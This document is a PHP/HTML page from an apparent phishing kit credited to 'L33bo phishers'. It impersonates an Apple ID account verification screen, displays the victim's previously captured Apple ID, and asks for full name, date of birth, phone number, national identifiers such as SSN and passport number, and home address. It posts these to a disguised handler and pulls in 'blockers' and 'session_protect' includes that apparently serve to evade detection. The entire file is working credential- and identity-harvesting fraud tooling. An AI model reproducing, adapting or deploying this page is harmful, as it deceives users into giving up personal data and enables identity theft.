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  1. <?php
  2. /*
  3. ||| L33bo phishers = ICQ: 695059760
  4. */
  5. @require "bocah/includes/session_load.php";
  6. @require "bocah/includes/blockers.php";
  7. @require "bocah/includes/session_protect.php";
  8. @require "bocah/includes/functions.php";
  9. @require "bocah/includes/language.mob.php";
  10. @require "bocah/includes/One_Time.php";
  11. @require "bocah/includes/enc.php";
  12. ?>
  13. <!DOCTYPE html>
  14. <html>
  15. <head>
  16. <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
  17. <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
  18. <title>Confirm your information</title>
  19. <link href="bocah/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
  20. <link href="bocah/css/First.css" media="all" rel="stylesheet" type="text/css">
  21. <link href="bocah/css/Second.css" rel="stylesheet" type="text/css">
  22. <link href="bocah/css/Fonts.css" rel="stylesheet" type="text/css">
  23. <link href="bocah/css/verify.css" rel="stylesheet" type="text/css">
  24. <style>.error {color:#333}</style>
  25. </head>
  26. <body id="pagecontent">
  27. <div id="content">
  28. <div class="bdd45">
  29. <nav id="xdsfv54" class="js no-touch svg no-ie7 no-ie8">
  30. <div class="HeaderObjHolder">
  31. <ul class="MobHeader">
  32. <li class="HeaderObj MobMenIconH">
  33. <label class="MobMenHol">
  34. <span class="MobMenIcon MobMenIcon-top">
  35. <span class="MobMenIcon-crust MobMenIcon-crust-top"></span> </span> <span class="MobMenIcon MobMenIcon-bottom">
  36. <span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span> </span>
  37. </label>
  38. </li>
  39. <li class="HeaderObj">
  40. <a class="Item1" href="#" style="display: inline-block;margin-left:50%;margin-top:11px" id="ac-gn-firstfocus-small"> <span class="ac-gn-link-text">&nbsp;</span> </a>
  41. <a class="Item10" style="display: inline-block;float:right;margin-top:11px" href="#"> <span class="ac-gn-link-text">&nbsp;</span> <span class="ac-gn-bag-badge"></span> </a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
  42. </li>
  43. </ul>
  44. <ul class="HeaderObjList">
  45. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item1" href="#"></a></li>
  46. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item2" href="#"></a></li>
  47. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item3" href="#"></a></li>
  48. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item4" href="#"></a></li>
  49. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item5" href="#"></a></li>
  50. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item6" href="#"></a></li>
  51. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item7" href="#"></a></li>
  52. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item8" href="#"></a></li>
  53. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item9" href="#"></a></li>
  54. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item10" href="#"></a></li>
  55. </ul>
  56. </div>
  57. </nav>
  58.  
  59.  
  60.  
  61. <div id="flow">
  62. <div class="flow-body signin clearfix" role="main">
  63. <div class="persona-splash no-photo clearfix">
  64.     <div class="persona-bg"></div>
  65.     <div class="container">
  66.         <div class="splash-section">
  67.             <div class=" person-wrapper">
  68.                 <div>
  69.                     <div class="row">
  70.                         <div class="col-sm-9 appleid-col">
  71.                             <div class="flex-container">
  72.                                 <h1 class="mobile appleid-user">
  73.                                     <span class="first_name">Account Verification</span>
  74.                                     <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
  75.                                 </h1>
  76.                             </div>
  77.                         </div>
  78.                         <div class="not-mobile col-sm-3">
  79.                             <div class="flex-container-signout">
  80.                                 <div class="signout pull-right">
  81.                                     <button class="btn btn-link">Sign Out </button>
  82.                                 </div>
  83.                             </div>
  84.                         </div>
  85.                     </div>
  86.                 </div>
  87.             </div>
  88.         </div>
  89.     </div>
  90. </div>
  91. <div class="container">
  92. <div class="flex home-content">
  93.  
  94.  
  95. <form action="PrefixCardInformationPrivacyAuth?ref=subscribes&sessionsid=<?php echo generateRandomString(86); ?>&protocol=ssl" method="post" name="details" id="details" class="proceed">
  96. <div class="container flow-sections">
  97. <div class="editable account-edit clearfix">
  98. <div class="row edit-row">
  99. <div class="col-sm-5">                            
  100. <h3 class="section-subtitle" id="nameLabel">Personal Information</h3>
  101. <div class="form-group">
  102. <div class="pop-wrapper field-pop-wrapper first-wrapper">
  103. <div class="name-input">
  104.   <input type="text" name="fname" id="fname" class="generic-input-field form-control field" placeholder="first name">
  105.   <span id="nameerror"></span>
  106. </div>
  107. </div>
  108. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  109. <div class="name-input">
  110.   <input type="text" name="mname" id="mname" class="generic-input-field form-control field" placeholder="middle name (optional)">
  111. </div>
  112. </div>
  113. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  114. <div class="name-input">
  115.   <input type="text" name="lname" id="lname" class="generic-input-field form-control field" placeholder="last name">
  116. </div>
  117. </div>
  118. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  119. <div class="name-input">
  120. <input id="dob" name="dob" class="form-control form-input" type="tel" placeholder="date of birth">
  121. </div>
  122. </div>
  123. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  124. <div class="name-input">
  125. <input id="telephone" name="telephone" class="form-control form-input" type="tel" placeholder="telephone number">
  126. </div>
  127. </div>
  128. <?php echo $lang['SSN'];?>
  129. <?php echo $lang['PASSPORT'];?>
  130. <?php echo $lang['NUMBID'];?>
  131. <?php echo $lang['NAID'];?>
  132. <?php echo $lang['CIVILID'];?>
  133. <?php echo $lang['QATARID'];?>
  134. <?php echo $lang['CITIZENID'];?>
  135. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  136. <div class="name-input">
  137.   <input type="text" name="address" id="address" class="generic-input-field form-control field" placeholder="address Line ">
  138. </div>
  139. </div>
  140. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  141. <div class="name-input">
  142.   <input type="text" name="town" id="town" class="generic-input-field form-control field" placeholder="town / city">
  143. </div>
  144. </div>
  145.  
  146. <div class="form-group clearfix middle-wrapper">
  147. <div class="select-wrapper">
  148. <?php echo $lang['COUNTYSELECT'];?>
  149. </div>
  150. </div>
  151. <div class="pop-wrapper field-pop-wrapper last-wrapper">
  152. <div class="name-input">
  153.   <input type="text" name="postcode" id="postcode" class="generic-input-field form-control field" placeholder="<?php echo $lang['POSTCODE'];?>">
  154. </div>
  155. </div>
  156. <input type="hidden" name="country" value="<?php echo $lang['COUNTRY'];?>">
  157. <br>
  158. <br>
  159. <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Next">
  160. </div>
  161. </div>
  162. </div>
  163. </div>
  164. </div>
  165. </form>
  166.  
  167.  
  168.  
  169. </div>
  170. </div>
  171. </div>
  172. </div>
  173. </div>
  174. </div>
  175. </body>
  176. </html>
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